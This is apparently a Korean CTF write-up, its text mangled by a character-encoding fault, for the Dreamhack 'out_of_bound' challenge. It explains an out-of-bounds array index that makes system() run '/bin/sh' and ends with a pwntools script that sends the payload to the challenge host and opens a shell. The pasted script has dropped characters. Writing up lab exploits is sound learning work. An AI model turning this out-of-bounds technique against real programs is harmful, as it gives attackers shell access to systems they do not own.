Jastes 2022. 10. 30. 23:50

 


out_of_bound

๋ฌธ์ œ ํ’€์ด

๋ฐฐ์—ด์˜ ์ •ํ•ด์ง„ ์ธ๋ฑ์Šค๋ฅผ ๋„˜๋Š” Out of bound ๋ฌธ์ œ๋กœ์จ
x86..์œผ๋กœ Canary์™€ NX๊ฐ€ ์กด์žฌํ•˜๋„ค์š”

name[16]์™€ command์˜ ๋ฌธ์ž ๋ฐฐ์—ด์„ ๋‹ด์€ ๋ฐฐ์—ด์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.
main์ด ์ค‘์‹ฌ์ด๋‹ˆ๊นŒ ํ™•์ธํ•ด๋ณด์‹œ๋ฉด name์„ ์ž…๋ ฅ ๋ฐ›๋Š”๋ฐ ํ›„์— idx๋ฅผ ์ž…๋ ฅ ํ›„ system์— command์˜ ๋ฐฐ์—ด์—
๋„ฃ์–ด์ฃผ๋Š” ๋ชจ์Šต์„ ๋ณด๋‹ˆ๊นŒ ํ™•์‹คํžˆ oob ๋ฌธ์ œ์ธ ๋“ฏํ•˜๋„ค์š” ๊ฒฐ๊ตญ ์šฐ๋ฆฌ๊ฐ€ ์‹คํ–‰ํ•  ํ•จ์ˆ˜๋Š” 

system("/bin/sh")์ด๋ฏ€๋กœ command์—๋Š” "/bin/sh"๊ฐ€ ์—†์œผ๋ฏ€๋กœ idx์˜ ๊ฐ’์„ ํ™œ์šฉํ•ด
command์˜ 10์„ ๋„˜์–ด์„œ ์ฝ”๋“œ๋ฅผ ์ž‘๋™ํ•œ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค


Exploit ์„ค๊ณ„

name ๋ณ€์ˆ˜๊ฐ€ ์„ค์ • ํ›„ command์˜ ๋ณ€์ˆ˜๊ฐ€ ์„ค์ •๋˜๋ฏ€๋กœ name๋ณ€์ˆ˜๊ฐ€ ์Šคํƒ์˜ ์œ„์น˜๋ฅผ ํ™•์ธํ•ด๋ด์š”
์Šคํƒ์€ ์Œ“์ด๊ธฐ ๋•Œ๋ฌธ์— ์•„๋งˆ ๋” ๋†’์€ ๋ณ€์ˆ˜์— ์กด์žฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์ฃ  ๊ทธ๋Ÿผ 10๋ณด๋‹ค ํฐ ๊ฐ’์„ ์ ๋‹นํžˆ ๋„ฃ๋Š”๋‹ค๋ฉด
์–ธ์  ๊ฐ„ name์˜ ๋ณ€์ˆ˜์— ๋‹ฟ๊ณ  name์— "/bin/sh"๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ทธ ๊ฐ’์„ ๋„ฃ๋Š”๋‹ค๋ฉด?

๊ทธ๋Ÿผ command์™€ name ์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ๋งŒ ๊ตฌํ•˜๋ฉด exploit code๊ฐ€ ์ž‘๋™๋˜๊ฒ ๋„ค์š”
๊ทธ๋Ÿผ ๋ฐ”๋กœ ์‹œ์ž‘ํ•ด๋ณผ๊นŒ์š”?


Exploit

name๊ณผ command์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋ด์•ผํ•˜๋ฏ€๋กœ ์ด์ „ C์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜๋ฉด์„œ disasํ•ฉ์‹œ๋‹ค
read์— ๋„ฃ์€ ๊ฐ’์€ name์— ์žˆ๊ธฐ์— main+66์œผ๋กœ ๋„ฃ์œผ๋ฉด.. 
๋˜ํ•œ command๋Š” scanf๋กœ ๋ฐ›์€ ์œ„์น˜๋ฅผ ์ฐธ๊ณ ํ•˜๋ฉด(์ธ์ž๋ฅผ ์ƒ๊ฐํ•˜๋ฉด์„œ ํ•˜๋ฉด)

name address : 0x804a0ac
command address : 0x804a060

76.. ์šฐ๋ฆฌ๋Š” x86์ด๋ฏ€๋กœ 4byte๋กœ ๋‚˜๋ˆˆ๋‹ค๋ฉด 76/4 = 18 obbํ• ๊ฑฐ๋ฉด 1๋”ํ•ด์•ผํ•˜๋‹ˆ๊นŒ 19๋กœ ์ ์–ด์•ผํ•ฉ๋‹ˆ๋‹ค

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
= remote("host3.dreamhack.games"18131)
 
name_address = 0x0804A0AC + 4
name = p32(name_address) + b"/bin/sh"
 
p.sendafter("Admin name: ", name)
p.sendlineafter("What do you want?: "str(19))
 
p.interactive()
 
cs

 


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€